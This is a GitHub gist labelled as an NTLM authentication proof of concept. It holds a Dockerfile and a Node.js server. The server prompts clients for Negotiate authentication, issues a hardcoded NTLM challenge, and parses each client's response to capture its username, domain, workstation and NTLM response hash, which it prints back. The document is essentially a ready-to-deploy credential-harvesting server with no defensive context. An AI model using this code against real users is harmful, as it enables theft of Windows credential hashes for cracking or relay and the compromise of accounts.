Skip to content

Instantly share code, notes, and snippets.

@dzmitry-savitski
Created June 5, 2025 17:10
Show Gist options
  • Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.
Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.
NTLM authentication PoC
FROM node:18-slim
WORKDIR /app
COPY server.js .
EXPOSE 8080
CMD ["node", "server.js"]
const http = require('http');
function parseNTLMv3Response(base64Msg) {
const buffer = Buffer.from(base64Msg, 'base64');
const signature = buffer.toString('ascii', 0, 8);
const messageType = buffer.readUInt8(8);
if (signature !== 'NTLMSSP\0' || messageType !== 3) {
return null;
}
function readField(offset) {
const len = buffer.readUInt16LE(offset);
const pos = buffer.readUInt32LE(offset + 4);
return buffer.slice(pos, pos + len);
}
const domain = readField(28).toString('utf16le');
const username = readField(36).toString('utf16le');
const workstation = readField(44).toString('utf16le');
const hash = readField(20).toString('hex');
return { username, domain, workstation, ntlmHashHex: hash, raw: base64Msg };
}
http.createServer((req, res) => {
const auth = req.headers['authorization'];
if (!auth) {
res.writeHead(401, { 'WWW-Authenticate': 'Negotiate', 'Connection': 'keep-alive' });
res.end();
return;
}
const payload = auth.split(' ')[1];
const type = Buffer.from(payload, 'base64')[8];
if (type === 1) {
// NTLM v2 challenge example
const base64Challenge = "TlRMTVNTUAACAAAACAAIADgAAAAFAomin9pUiWsMbk8AAAAAAAAAAJoAmgBAAAAACgB8TwAAAA9JAEUASAAwAAIACABJAEUASAAwAAEAHgBXAEkATgAtADkAQQBLADAANABMAFoAOABBAFYAVwAEABQASQBFAEgAMAAuAEwATwBDAEEATAADADQAVwBJAE4ALQA5AEEASwAwADQATABaADgAQQBWAFcALgBJAEUASAAwAC4ATABPAEMAQQBMAAUAFABJAEUASAAwAC4ATABPAEMAQQBMAAAAAAA=";
res.writeHead(401, {
'WWW-Authenticate': `Negotiate ${base64Challenge}`,
'Connection': 'keep-alive',
});
res.end();
return;
}
if (type === 3) {
const info = parseNTLMv3Response(payload);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(`Info captured:\nUsername: ${info.username}\nDomain: ${info.domain}\nWorkstation: ${info.workstation}\nNTLM response: ${info.ntlmHashHex}\n`);
return;
}
res.writeHead(400);
res.end('Unsupported NTLM message type.');
}).listen(8080);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment